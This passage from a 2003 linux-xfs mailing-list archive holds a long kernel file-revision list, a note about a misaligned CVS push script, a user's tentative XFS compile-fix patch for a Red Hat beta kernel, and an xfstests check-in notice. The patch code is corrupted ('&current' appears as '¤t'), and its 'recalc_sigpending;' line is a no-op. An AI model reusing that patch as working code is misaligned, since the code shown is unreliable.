1.2 linux/arch/i386/mach-visws/mpparse.c - 1.5 linux/arch/ppc/boot/of1275/Makefile - 1.5 linux/net/bridge/netfilter/Makefile - 1.6 linux/arch/ppc/boot/openfirmware/misc.S - 1.2 linux/arch/ppc/boot/openfirmware/coffmain.c - 1.3 linux/arch/ppc/boot/openfirmware/Makefile - 1.9 linux/drivers/block/deadline-iosched.c - 1.12 linux/drivers/base/cpu.c - 1.9 linux/include/linux/vcache.h - 1.3 linux/mm/vcache.c - 1.3 linux/kernel/cpufreq.c - 1.18 linux/include/asm-x86_64/topology.h - 1.5 linux/net/llc/af_llc.c - 1.9 linux/include/linux/cpufreq.h - 1.17 linux/arch/i386/kernel/cpu/cpufreq/powernow-k6.c - 1.12 linux/arch/i386/kernel/cpu/cpufreq/p4-clockmod.c - 1.13 linux/arch/i386/kernel/cpu/cpufreq/elanfreq.c - 1.9 linux/arch/i386/kernel/cpu/cpufreq/longrun.c - 1.12 linux/arch/i386/kernel/cpu/cpufreq/longhaul.c - 1.13 linux/drivers/bluetooth/hci_bcsp.c - 1.4 linux/drivers/char/scx200_gpio.c - 1.3 linux/net/llc/llc_proc.c - 1.9 linux/drivers/usb/misc/usbtest.c - 1.16 linux/drivers/scsi/nsp32.c - 1.15 linux/drivers/scsi/aacraid/linit.c - 1.15 linux/drivers/isdn/i4l/isdn_net_lib.c - 1.8 linux/net/bluetooth/rfcomm/sock.c - 1.13 linux/net/bluetooth/rfcomm/core.c - 1.12 linux/net/bluetooth/bnep/core.c - 1.11 linux/include/sound/sscape_ioctl.h - 1.2 linux/net/appletalk/atalk_proc.c - 1.6 linux/drivers/net/3c501.h - 1.3 linux/fs/cifs/cifsfs.c - 1.17 linux/fs/nfsd/nfs4xdr.c - 1.15 linux/fs/cifs/cifssmb.c - 1.16 linux/fs/cifs/dir.c - 1.8 linux/fs/cifs/file.c - 1.14 linux/fs/cifs/inode.c - 1.14 linux/fs/cifs/link.c - 1.7 linux/fs/cifs/misc.c - 1.11 linux/fs/nfsd/nfs4proc.c - 1.10 linux/include/asm-i386/timer.h - 1.6 linux/fs/cifs/CHANGES - 1.15 linux/fs/cifs/transport.c - 1.14 linux/arch/i386/kernel/timers/Makefile - 1.7 linux/arch/i386/kernel/timers/timer.c - 1.7 linux/arch/i386/kernel/timers/timer_tsc.c - 1.16 linux/drivers/isdn/hardware/eicon/platform.h - 1.3 linux/drivers/isdn/hardware/eicon/capifunc.c - 1.5 linux/arch/ppc/platforms/4xx/Makefile - 1.5 linux/drivers/isdn/hardware/eicon/divasi.c - 1.6 linux/drivers/mtd/maps/ceiva.c - 1.4 linux/net/rxrpc/sysctl.c - 1.4 linux/drivers/mtd/maps/pcmciamtd.c - 1.6 linux/net/rxrpc/krxtimod.c - 1.7 linux/net/rxrpc/krxsecd.c - 1.6 linux/net/rxrpc/krxiod.c - 1.5 linux/fs/afs/callback.c - 1.2 linux/drivers/char/tipar.c - 1.8 linux/fs/afs/cmservice.c - 1.5 linux/fs/afs/dir.c - 1.5 linux/fs/afs/inode.c - 1.4 linux/fs/afs/internal.h - 1.5 linux/fs/afs/kafsasyncd.c - 1.5 linux/fs/afs/kafstimod.c - 1.7 linux/fs/afs/vnode.h - 1.3 linux/arch/i386/oprofile/nmi_int.c - 1.13 linux/drivers/block/scsi_ioctl.c - 1.13 linux/arch/x86_64/kernel/pci-gart.c - 1.14 linux/drivers/block/ioctl.c - 1.7 linux/arch/ppc/boot/simple/misc.c - 1.7 linux/Documentation/filesystems/sysfs.txt - 1.6 linux/arch/ppc/boot/simple/relocate.S - 1.4 linux/fs/sysfs/inode.c - 1.12 linux/include/linux/kobject.h - 1.12 linux/drivers/net/Kconfig - 1.20 linux/drivers/mtd/devices/Kconfig - 1.4 linux/Documentation/kobject.txt - 1.8 linux/drivers/net/hamradio/Kconfig - 1.5 linux/drivers/net/irda/Kconfig - 1.9 linux/arch/alpha/Kconfig - 1.19 linux/arch/arm/Kconfig - 1.19 linux/drivers/net/tulip/Kconfig - 1.6 linux/scripts/kconfig/symbol.c - 1.5 linux/arch/i386/Kconfig - 1.28 linux/drivers/net/wan/Kconfig - 1.8 linux/net/bridge/netfilter/Kconfig - 1.5 linux/drivers/media/video/Kconfig - 1.9 linux/drivers/media/dvb/frontends/ves1820.c - 1.6 linux/drivers/media/dvb/frontends/grundig_29504-401.c - 1.6 linux/arch/i386/mach-voyager/voyager_smp.c - 1.9 linux/drivers/media/dvb/frontends/Kconfig - 1.7 linux/arch/ia64/Kconfig - 1.18 linux/drivers/media/dvb/dvb-core/dvbdev.c - 1.10 linux/scripts/kconfig/Makefile - 1.7 linux/arch/ia64/mm/numa.c - 1.2 linux/drivers/char/Kconfig - 1.12 linux/arch/m68k/Kconfig - 1.17 linux/arch/mips/Kconfig - 1.13 linux/arch/parisc/Kconfig - 1.15 linux/arch/parisc/kernel/ioctl32.c - 1.10 linux/drivers/md/dm-table.c - 1.10 linux/drivers/cdrom/Kconfig - 1.4 linux/drivers/scsi/Kconfig - 1.16 linux/drivers/isdn/i4l/Kconfig - 1.4 linux/drivers/char/agp/Kconfig - 1.12 linux/arch/ppc/Kconfig - 1.18 linux/arch/ppc64/Kconfig - 1.16 linux/arch/s390/Kconfig - 1.13 linux/arch/sh/Kconfig - 1.14 linux/arch/sparc/Kconfig - 1.16 linux/net/ipv4/netfilter/Kconfig - 1.6 linux/drivers/scsi/pcmcia/Kconfig - 1.6 linux/drivers/i2c/Kconfig - 1.9 linux/arch/sparc64/Kconfig - 1.21 linux/drivers/ide/Kconfig - 1.16 linux/drivers/isdn/i4l/isdn_net_lib.h - 1.2 linux/arch/x86_64/Kconfig - 1.21 linux/fs/befs/datastream.c - 1.4 linux/lib/kobject.c - 1.12 linux/crypto/Makefile - 1.9 linux/crypto/autoload.c - 1.4 linux/crypto/internal.h - 1.7 linux/crypto/tcrypt.c - 1.11 linux/net/ipv4/netfilter/ipt_physdev.c - 1.7 linux/net/Kconfig - 1.11 linux/net/ipv6/netfilter/Kconfig - 1.3 linux/drivers/serial/Kconfig - 1.13 linux/drivers/acpi/Kconfig - 1.10 linux/drivers/video/Kconfig - 1.12 linux/drivers/atm/Kconfig - 1.5 linux/drivers/isdn/hardware/avm/Kconfig - 1.3 linux/sound/oss/Kconfig - 1.11 linux/drivers/usb/net/Kconfig - 1.6 linux/drivers/isdn/Kconfig - 1.3 linux/init/Kconfig - 1.14 linux/fs/hugetlbfs/inode.c - 1.15 linux/fs/ext3/xattr.c - 1.12 linux/mm/fremap.c - 1.9 linux/include/asm-m68knommu/irq.h - 1.2 linux/drivers/media/video/saa7134/saa7134-video.c - 1.9 linux/drivers/media/video/saa7134/saa7134-ts.c - 1.8 linux/drivers/media/video/saa7134/saa7134-oss.c - 1.6 linux/drivers/media/video/saa7134/saa7134-core.c - 1.7 linux/include/asm-m68knommu/semaphore.h - 1.3 linux/drivers/base/memblk.c - 1.7 linux/arch/m68knommu/Kconfig - 1.16 linux/arch/m68knommu/platform/5206/config.c - 1.5 linux/arch/m68knommu/platform/5206e/config.c - 1.5 linux/arch/m68knommu/platform/5249/config.c - 1.5 linux/arch/m68knommu/platform/5272/config.c - 1.5 linux/include/asm-v850/semaphore.h - 1.2 linux/arch/v850/Kconfig - 1.16 linux/drivers/net/b44.c - 1.7 linux/drivers/net/irda/actisys-sir.c - 1.3 linux/drivers/net/irda/esi-sir.c - 1.2 linux/drivers/net/irda/irtty-sir.c - 1.7 linux/drivers/net/irda/tekram-sir.c - 1.3 linux/arch/ppc/syslib/prom.c - 1.4 linux/arch/i386/kernel/cpu/mcheck/non-fatal.c - 1.5 linux/net/key/af_key.c - 1.19 linux/arch/ppc/syslib/open_pic.c - 1.8 linux/arch/ppc/syslib/Makefile - 1.9 linux/drivers/s390/net/cu3088.c - 1.5 linux/drivers/ide/pci/sc1200.c - 1.8 linux/drivers/s390/char/tape_char.c - 1.4 linux/drivers/usb/serial/kobil_sct.c - 1.11 linux/drivers/video/68328fb.c - 1.2 linux/drivers/s390/char/tape_core.c - 1.6 linux/drivers/s390/char/tape_proc.c - 1.3 linux/drivers/char/agp/amd-k7-agp.c - 1.10 linux/drivers/char/agp/amd-k8-agp.c - 1.12 linux/drivers/char/agp/backend.c - 1.9 linux/drivers/char/agp/generic.c - 1.11 linux/drivers/ide/pci/cs5520.c - 1.7 linux/fs/compat.c - 1.10 linux/drivers/char/agp/intel-agp.c - 1.12 linux/net/core/link_watch.c - 1.4 linux/drivers/char/watchdog/Kconfig - 1.7 linux/drivers/char/watchdog/Makefile - 1.5 linux/drivers/char/watchdog/acquirewdt.c - 1.10 linux/drivers/char/watchdog/advantechwdt.c - 1.7 linux/include/linux/radeonfb.h - 1.2 linux/fs/intermezzo/intermezzo_psdev.h - 1.2 linux/drivers/ide/ide-io.c - 1.14 linux/kernel/compat.c - 1.14 linux/fs/intermezzo/intermezzo_kml.h - 1.2 linux/drivers/net/r8169.c - 1.9 linux/fs/intermezzo/intermezzo_journal.h - 1.2 linux/drivers/char/watchdog/ib700wdt.c - 1.9 linux/drivers/char/watchdog/machzwd.c - 1.10 linux/drivers/char/watchdog/pcwd.c - 1.11 linux/drivers/char/watchdog/wdt_pci.c - 1.9 linux/drivers/char/watchdog/wdt.c - 1.7 linux/arch/x86_64/kernel/module.c - 1.8 linux/drivers/scsi/aic7xxx/aic79xx_osm_pci.c - 1.7 linux/include/asm-arm/dma-mapping.h - 1.6 linux/drivers/scsi/aic7xxx/aic7xxx_osm_pci.c - 1.6 linux/arch/ppc/platforms/4xx/Kconfig - 1.3 linux/drivers/char/watchdog/wafer5823wdt.c - 1.7 linux/drivers/char/watchdog/sc520_wdt.c - 1.11 linux/drivers/ide/pci/triflex.c - 1.3 linux/drivers/net/amd8111e.c - 1.9 linux/net/sunrpc/rpc_pipe.c - 1.10 linux/arch/i386/kernel/cpu/cpufreq/gx-suspmod.c - 1.8 linux/drivers/char/ipmi/ipmi_devintf.c - 1.7 linux/drivers/char/ipmi/ipmi_watchdog.c - 1.5 linux/arch/ppc/ocp/ocp-probe.c - 1.2 linux/fs/proc/task_mmu.c - 1.5 linux/arch/sparc64/kernel/us3_cpufreq.c - 1.6 linux/drivers/eisa/Makefile - 1.5 linux/drivers/usb/net/Makefile.mii - 1.3 linux/arch/i386/kernel/cpu/cpufreq/acpi.c - 1.7 linux/include/acpi/acpi_bus.h - 1.3 linux/arch/ia64/kernel/fsys.S - 1.7 linux/arch/arm/common/sa1111.c - 1.10 linux/drivers/cpufreq/proc_intf.c - 1.5 linux/drivers/cpufreq/Makefile - 1.4 linux/drivers/cpufreq/Kconfig - 1.3 linux/arch/i386/kernel/cpu/cpufreq/powernow-k7.c - 1.10 linux/arch/ppc64/kernel/scanlog.c - 1.2 linux/drivers/ieee1394/ieee1394-ioctl.h - 1.4 linux/drivers/char/watchdog/cpu5wdt.c - 1.2 linux/drivers/net/typhoon.c - 1.8 linux/arch/i386/kernel/acpi/boot.c - 1.5 linux/drivers/net/wireless/ray_cs.c - 1.6 linux/kernel/posix-timers.c - 1.11 linux/Documentation/cpu-freq/cpu-drivers.txt - 1.4 linux/drivers/cpufreq/userspace.c - 1.4 linux/scripts/genksyms/Makefile - 1.4 linux/fs/sysfs/bin.c - 1.9 linux/fs/sysfs/dir.c - 1.5 linux/drivers/usb/input/kbtab.c - 1.5 linux/fs/sysfs/file.c - 1.7 linux/fs/sysfs/symlink.c - 1.2 linux/arch/arm/kernel/apm.c - 1.3 linux/arch/arm/kernel/pm.c - 1.5 linux/net/ipv6/ah6.c - 1.11 linux/arch/ia64/sn/io/sn2/shub.c - 1.5 linux/include/video/sisfb.h - 1.2 linux/net/ipv6/xfrm6_policy.c - 1.8 linux/arch/i386/boot98/Makefile - 1.2 linux/drivers/ide/ide-default.c - 1.2 linux/fs/partitions/nec98.c - 1.4 linux/drivers/char/lp_old98.c - 1.3 linux/net/xfrm/xfrm_user.c - 1.9 linux/arch/sparc64/kernel/us2e_cpufreq.c - 1.3 linux/net/ipv4/netfilter/ip_conntrack_tftp.c - 1.5 linux/net/ipv4/netfilter/ip_nat_amanda.c - 1.4 linux/net/ipv4/netfilter/ip_nat_tftp.c - 1.4 linux/arch/x86_64/kernel/acpi/boot.c - 1.5 linux/arch/ppc/platforms/pmac_cpufreq.c - 1.6 linux/arch/s390/kernel/compat_ioctl.c - 1.6 linux/drivers/media/common/saa7146_fops.c - 1.5 linux/drivers/media/common/saa7146_video.c - 1.6 linux/include/sound/hdsp.h - 1.3 linux/arch/arm/def-configs/iq80321 - 1.3 linux/include/linux/nfsd/state.h - 1.5 linux/drivers/i2c/i2c-keywest.h - 1.2 linux/drivers/i2c/i2c-keywest.c - 1.4 linux/include/asm-arm/arch-iop3xx/memory.h - 1.2 linux/arch/arm/mach-iop3xx/iop321-time.c - 1.2 linux/arch/arm/mach-iop3xx/iq80310-time.c - 1.3 linux/include/asm-h8300/aki3068net/ne.h - 1.3 linux/arch/h8300/Kconfig - 1.7 linux/arch/h8300/kernel/setup.c - 1.4 linux/arch/h8300/platform/h8300h/ints.c - 1.4 linux/include/asm-h8300/h8max/ne.h - 1.3 linux/drivers/block/floppy98.c - 1.7 linux/fs/nfsd/nfs4state.c - 1.6 linux/include/asm-h8300/ide.h - 1.3 linux/include/asm-h8300/irq.h - 1.4 linux/include/asm-arm/arch-iop3xx/iop310.h - 1.3 linux/include/asm-arm/arch-iop3xx/iop321.h - 1.4 linux/include/asm-h8300/semaphore.h - 1.4 linux/include/asm-h8300/pci.h - 1.3 linux/drivers/net/ixgb/ixgb_main.c - 1.6 linux/include/linux/initrd.h - 1.2 linux/arch/arm/mm/proc-sa1100.S - 1.2 linux/drivers/scsi/dc395x.c - 1.9 linux/include/linux/usb_gadget.h - 1.4 linux/drivers/net/arm/ether00.c - 1.4 linux/drivers/net/sungem_phy.c - 1.2 linux/drivers/usb/gadget/net2280.h - 1.3 linux/drivers/usb/gadget/net2280.c - 1.6 linux/drivers/usb/gadget/Makefile - 1.2 linux/drivers/usb/gadget/Kconfig - 1.2 linux/drivers/scsi/scsi_priv.h - 1.6 linux/drivers/scsi/scsi_logging.h - 1.2 linux/drivers/base/map.c - 1.2 linux/drivers/scsi/scsi_devinfo.c - 1.4 linux/drivers/char/agp/nvidia-agp.c - 1.5 linux/drivers/scsi/arm/acornscsi.c - 1.5 linux/drivers/scsi/arm/fas216.c - 1.5 linux/arch/ppc64/kernel/proc_ppc64.c - 1.2 linux/net/atm/br2684.c - 1.5 linux/include/net/ip6_tunnel.h - 1.2 linux/sound/pcmcia/vx/vx_entry.c - 1.2 linux/drivers/mtd/nand/autcpu12.c - 1.3 linux/drivers/mtd/nand/edb7312.c - 1.2 linux/net/ipv6/ip6_tunnel.c - 1.5 linux/arch/arm26/Kconfig - 1.7 linux/arch/arm26/Makefile - 1.2 linux/arch/arm26/boot/Makefile - 1.2 linux/arch/arm26/kernel/ecard.c - 1.3 linux/arch/arm26/kernel/entry.S - 1.2 linux/arch/arm26/kernel/irq.c - 1.3 linux/arch/arm26/kernel/setup.c - 1.4 linux/arch/arm26/machine/head.S - 1.2 linux/arch/arm26/mm/fault.c - 1.2 linux/arch/arm26/mm/init.c - 1.4 linux/arch/arm26/vmlinux-armo.lds.in - 1.2 linux/arch/i386/kernel/cpu/cpufreq/speedstep-centrino.c - 1.4 linux/arch/i386/kernel/cpu/cpufreq/speedstep-ich.c - 1.4 linux/arch/sh/cchips/hd6446x/hd64465/setup.c - 1.2 linux/arch/sh/boards/se/770x/mach.c - 1.3 linux/drivers/serial/8250_acpi.c - 1.2 linux/fs/compat_ioctl.c - 1.5 linux/include/asm-arm26/xor.h - 1.2 linux/include/asm-arm26/uaccess-asm.h - 1.2 linux/include/asm-arm26/ecard.h - 1.3 linux/arch/sh/boards/sh2000/mach.c - 1.3 linux/arch/sh/boards/unknown/mach.c - 1.2 linux/include/asm-arm26/semaphore.h - 1.2 linux/arch/sh/boards/se/7751/mach.c - 1.3 linux/include/asm-arm26/processor.h - 1.3 linux/arch/sh/boards/adx/mach.c - 1.3 linux/arch/sh/boards/bigsur/mach.c - 1.2 linux/arch/sh/boards/cat68701/mach.c - 1.2 linux/arch/sh/boards/cqreek/mach.c - 1.2 linux/arch/sh/boards/dmida/mach.c - 1.3 linux/arch/sh/boards/dreamcast/irq.c - 1.2 linux/arch/sh/boards/dreamcast/mach.c - 1.3 linux/arch/sh/boards/ec3104/irq.c - 1.2 linux/arch/sh/boards/ec3104/mach.c - 1.2 linux/arch/sh/boards/harp/mach.c - 1.2 linux/arch/sh/boards/hp6xx/hp620/mach.c - 1.3 linux/arch/sh/boards/hp6xx/hp680/mach.c - 1.3 linux/arch/sh/boards/hp6xx/hp690/mach.c - 1.3 linux/arch/sh/boards/overdrive/mach.c - 1.2 linux/arch/sh/boards/saturn/irq.c - 1.2 linux/arch/sh/boards/saturn/mach.c - 1.3 linux/arch/arm/common/amba.c - 1.3 linux/drivers/pcmcia/yenta_socket.c - 1.7 linux/drivers/pcmcia/yenta_socket.h - 1.3 linux/drivers/usb/net/ax8817x.c - 1.4 linux/arch/ia64/sn/io/hwgfs/ramfs.c - 1.3 linux/arch/ia64/sn/io/drivers/ioconfig_bus.c - 1.2 linux/include/scsi/scsi_request.h - 1.4 linux/include/scsi/scsi_device.h - 1.5 linux/include/asm-arm/hardware/amba.h - 1.2 linux/drivers/char/lcd.c - 1.2 linux/arch/mips/au1000/common/dma.c - 1.2 linux/net/ipv4/netfilter/arpt_mangle.c - 1.2 linux/arch/sh/kernel/cpufreq.c - 1.2 linux/drivers/s390/net/qeth.c - 1.3 linux/arch/mips/sibyte/cfe/console.c - 1.3 linux/arch/mips/sibyte/sb1250/bcm1250_tbprof.c - 1.3 linux/arch/mips/tx4927/common/tx4927_irq.c - 1.2 linux/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_irq.c - 1.3 linux/arch/mips/vr41xx/common/vrc4173.c - 1.3 linux/arch/ppc/platforms/sandpoint.c - 1.2 linux/drivers/block/as-iosched.c - 1.6 linux/arch/cris/arch-v10/drivers/pcf8563.c - 1.3 linux/arch/cris/arch-v10/drivers/eeprom.c - 1.2 linux/arch/cris/arch-v10/drivers/gpio.c - 1.2 linux/net/ipv4/ipvs/ip_vs_dh.c - 1.2 linux/net/ipv4/ipvs/ip_vs_ctl.c - 1.4 linux/sound/oss/swarm_cs4297a.c - 1.4 linux/net/ipv4/ipvs/ip_vs_conn.c - 1.3 linux/sound/oss/forte.c - 1.4 linux/sound/oss/au1000.c - 1.3 linux/sound/oss/ali5455.c - 1.4 linux/sound/oss/ad1889.c - 1.5 linux/net/ipv4/ipvs/ip_vs_lblc.c - 1.2 linux/net/ipv4/ipvs/ip_vs_lblcr.c - 1.2 linux/net/ipv4/ipvs/ip_vs_sync.c - 1.2 linux/net/ipv4/ipvs/ip_vs_sh.c - 1.2 linux/sound/oss/harmony.c - 1.4 linux/sound/oss/hal2.c - 1.4 linux/drivers/md/dm-ioctl-v1.c - 1.3 linux/drivers/media/dvb/ttusb-dec/ttusb_dec.c - 1.4 linux/drivers/media/dvb/ttusb-dec/dec2000_frontend.c - 1.2 linux/drivers/media/dvb/ttusb-dec/Kconfig - 1.2 linux/drivers/media/dvb/ttusb-budget/dvb-ttusb-budget.c - 1.4 linux/drivers/md/dm-ioctl-v4.c - 1.3 linux/security/selinux/ss/policydb.c - 1.3 linux/security/selinux/ss/global.h - 1.3 linux/security/selinux/ss/ebitmap.c - 1.2 linux/security/selinux/ss/avtab.c - 1.2 linux/security/selinux/selinuxfs.c - 1.2 linux/security/selinux/include/objsec.h - 1.3 linux/security/selinux/hooks.c - 1.3 linux/security/selinux/Kconfig - 1.2 linux/drivers/net/irda/via-ircc.c - 1.2 linux/include/asm-h8300/aki3068net/timer_rate.h - 1.2 linux/include/asm-h8300/edosk2674/timer_rate.h - 1.2 linux/include/asm-h8300/h8max/timer_rate.h - 1.2 linux/kernel/configs.c - 1.3 linux/arch/mips/kernel/ioctl32.c - 1.2 linux/arch/i386/kernel/cpu/cpufreq/longhaul.h - 1.2 linux/arch/h8300/platform/h8s/ints.c - 1.3 linux/drivers/char/agp/ati-agp.c - 1.2 linux/drivers/block/noop-iosched.c - 1.2 linux/drivers/base/power/main.c - 1.2 linux/net/core/ethtool.c - 1.2 linux/arch/x86_64/kernel/vmlinux.lds.S - 1.2 linux/drivers/macintosh/macio_asic.c - 1.2 linux/drivers/media/video/adv7170.c - 1.2 linux/drivers/media/video/saa7114.c - 1.2 linux/drivers/media/video/vpx3220.c - 1.2 linux/drivers/media/video/zoran_card.c - 1.2 linux/arch/v850/kernel/vmlinux.lds.S - 1.2 linux/drivers/media/video/zoran_card.h - 1.2 linux/drivers/media/video/zoran_device.c - 1.2 linux/drivers/media/video/zoran_driver.c - 1.2 linux/arch/ppc/syslib/of_device.c - 1.2 linux/include/asm-ppc/macio.h - 1.2 linux/arch/arm/kernel/vmlinux.lds.S - 1.2 linux/arch/arm/mach-integrator/impd1.c - 1.2 linux/include/asm-h8300/h8max/machine-depend.h - 1.2 linux/include/asm-h8300/machine-depend.h - 1.2 linux/include/asm-ppc/of_device.h - 1.2 linux/drivers/net/sis190.c - 1.2 linux/arch/arm26/kernel/vmlinux.lds.S - 1.2 From owner-linux-xfs@oss.sgi.com Wed Sep 10 15:54:44 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 10 Sep 2003 15:55:00 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AMsix4026328 for ; Wed, 10 Sep 2003 15:54:44 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8AMscq0028151 for ; Wed, 10 Sep 2003 15:54:38 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8AMsbcc11566877; Wed, 10 Sep 2003 17:54:37 -0500 (CDT) Received: from naboo (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8AMsbRn270437124; Wed, 10 Sep 2003 17:54:37 -0500 (CDT) Subject: Re: CVS tree somewhat strange? From: Russell Cattelan To: Michael Sinz Cc: "linux-xfs@oss.sgi.com" In-Reply-To: References: Content-Type: text/plain Message-Id: <1063234476.11014.10.camel@naboo> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4-4mdk Date: Wed, 10 Sep 2003 17:54:36 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 384 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@xfs.org Precedence: bulk X-list: linux-xfs Content-Length: 700 Lines: 17 The push script got out of alignment when I turned the 2.4 tree back on. (e.g. fromdir != the correct todir) I'm going to re-write the script so this can't happen again On Wed, 2003-09-10 at 16:18, Michael Sinz wrote: > The xfs-cmds tree on the CVS server has been acting strange lately. > First, it all went away (became blank) and now, it has a complete linux > source tree as a sub-directory :-) > > Now, I don't want to complain - and I am not really complaining, just pointing > this out, but it sure makes for very long (slow) updates over a standard > dialup connection :-( (Not that I was watching the process - otherwise > I would have stopped it before it got as far as it did...) > From owner-linux-xfs@oss.sgi.com Thu Sep 11 10:26:44 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 11 Sep 2003 10:26:50 -0700 (PDT) Received: from dmz.tecosim.de (dmz.tecosim.com [195.135.152.162]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BHQhYa009975 for ; Thu, 11 Sep 2003 10:26:44 -0700 Received: from alg-ru.tecosim.de (alg-ru-ext.tecosim.com [195.135.152.146]) by dmz.tecosim.de (Postfix) with ESMTP id 5560E1804D for ; Thu, 11 Sep 2003 19:26:37 +0200 (CEST) Received: from ns.tecosim.de (unknown [10.0.2.1]) by alg-ru.tecosim.de (Postfix) with ESMTP id 119B3180B0 for ; Thu, 11 Sep 2003 19:26:37 +0200 (CEST) Received: from donner.tecosim.de (donner.tecosim.de [10.0.16.1]) by ns.tecosim.de (8.12.8/8.11.6) with ESMTP id h8BHQZ4t015351 for ; Thu, 11 Sep 2003 19:26:36 +0200 Received: by donner.tecosim.de (Postfix, from userid 272) id 93F44877A17; Thu, 11 Sep 2003 19:26:35 +0200 (CEST) Date: Thu, 11 Sep 2003 19:26:35 +0200 From: Utz Lehmann To: linux-xfs@oss.sgi.com Subject: [PATCH] Redhat beta kernel compile fix Message-ID: <20030911172635.GB13348@de.tecosim.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="k1lZvvs/B4yU6o8G" Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Scanned-By: MIMEDefang 2.36 X-archive-position: 385 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: u.lehmann@de.tecosim.com Precedence: bulk X-list: linux-xfs Content-Length: 2589 Lines: 77 --k1lZvvs/B4yU6o8G Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi The redhat 10 beta kernel 2.4.21-20.1.2024.2.1.nptl includes xfs. It come from patch-2.4.22-pre3-ac1.bz2. The redhat default config disable xfs support and it doesnt compile out of the box. I made a patch which make it compile and working under redhat 9 for me. I got the idea for the patch from http://oss.software.ibm.com/pipermail/jfs-discussion/2003-May/001407.html I dont know if it is the right fix. But it survived 1h of fsx and a few FEM analysis jobs on an UP athlon. Maybe it is useful for someone. utz --k1lZvvs/B4yU6o8G Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="linux-2.4.21-20.1.2024.2.1-xfs-compile.patch" diff -ru linux-2.4.21-20.1.2024.2.1.nptl/fs/xfs/linux/xfs_syncd.c linux-2.4.21-20.1.2024.2.1.nptl_teco1/fs/xfs/linux/xfs_syncd.c --- linux-2.4.21-20.1.2024.2.1.nptl/fs/xfs/linux/xfs_syncd.c 2003-07-11 11:55:23.000000000 +0200 +++ linux-2.4.21-20.1.2024.2.1.nptl_teco1/fs/xfs/linux/xfs_syncd.c 2003-09-09 11:32:08.000000000 +0200 @@ -49,10 +49,10 @@ daemonize(); reparent_to_init(); - spin_lock_irq(¤t->sigmask_lock); + spin_lock_irq(¤t->sighand->siglock); sigfillset(¤t->blocked); - recalc_sigpending(current); - spin_unlock_irq(¤t->sigmask_lock); + recalc_sigpending; + spin_unlock_irq(¤t->sighand->siglock); sprintf(current->comm, "xfs_syncd"); diff -ru linux-2.4.21-20.1.2024.2.1.nptl/fs/xfs/pagebuf/page_buf.c linux-2.4.21-20.1.2024.2.1.nptl_teco1/fs/xfs/pagebuf/page_buf.c --- linux-2.4.21-20.1.2024.2.1.nptl/fs/xfs/pagebuf/page_buf.c 2003-07-11 11:55:23.000000000 +0200 +++ linux-2.4.21-20.1.2024.2.1.nptl_teco1/fs/xfs/pagebuf/page_buf.c 2003-09-09 11:33:26.000000000 +0200 @@ -1920,10 +1920,10 @@ daemonize(); /* Avoid signals */ - spin_lock_irq(¤t->sigmask_lock); + spin_lock_irq(¤t->sighand->siglock); sigfillset(¤t->blocked); - recalc_sigpending(current); - spin_unlock_irq(¤t->sigmask_lock); + recalc_sigpending; + spin_unlock_irq(¤t->sighand->siglock); /* Migrate to the right CPU */ migrate_to_cpu(cpu); @@ -2021,10 +2021,10 @@ daemonize(); /* Avoid signals */ - spin_lock_irq(¤t->sigmask_lock); + spin_lock_irq(¤t->sighand->siglock); sigfillset(¤t->blocked); - recalc_sigpending(current); - spin_unlock_irq(¤t->sigmask_lock); + recalc_sigpending; + spin_unlock_irq(¤t->sighand->siglock); strcpy(current->comm, "pagebufd"); current->flags |= PF_MEMALLOC; --k1lZvvs/B4yU6o8G-- From owner-linux-xfs@oss.sgi.com Thu Sep 11 17:41:47 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 11 Sep 2003 17:42:01 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C0fkYa006261 for ; Thu, 11 Sep 2003 17:41:47 -0700 Received: from flutz.melbourne.sgi.com (flutz.melbourne.sgi.com [134.14.54.245]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8C0wvss016765 for ; Thu, 11 Sep 2003 19:58:57 -0500 Received: (from fsgqa@localhost) by flutz.melbourne.sgi.com (8.11.6/8.11.6) id h8C0fZH02229 for linux-xfs@oss.sgi.com; Fri, 12 Sep 2003 10:41:35 +1000 Date: Fri, 12 Sep 2003 10:41:35 +1000 From: FSG QA Message-Id: <200309120041.h8C0fZH02229@flutz.melbourne.sgi.com> Subject: TAKE - xfstests X-archive-position: 386 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@flutz.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1565 Lines: 63 Several xfstests updates fixing large filesystem problems. -- nathans. Ensure lstat program puts a space between fields, even with very large inos. Date: Thu Sep 4 23:43:17 PDT 2003 Workarea: flutz.melbourne.sgi.com:/home/fsgqa/qa/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:157851a xfstests/src/lstat64.c - 1.7 Rework last big-sized-inums fix, fix a couple of warnings on 64bit platforms. Date: Mon Sep 8 16:16:10 PDT 2003 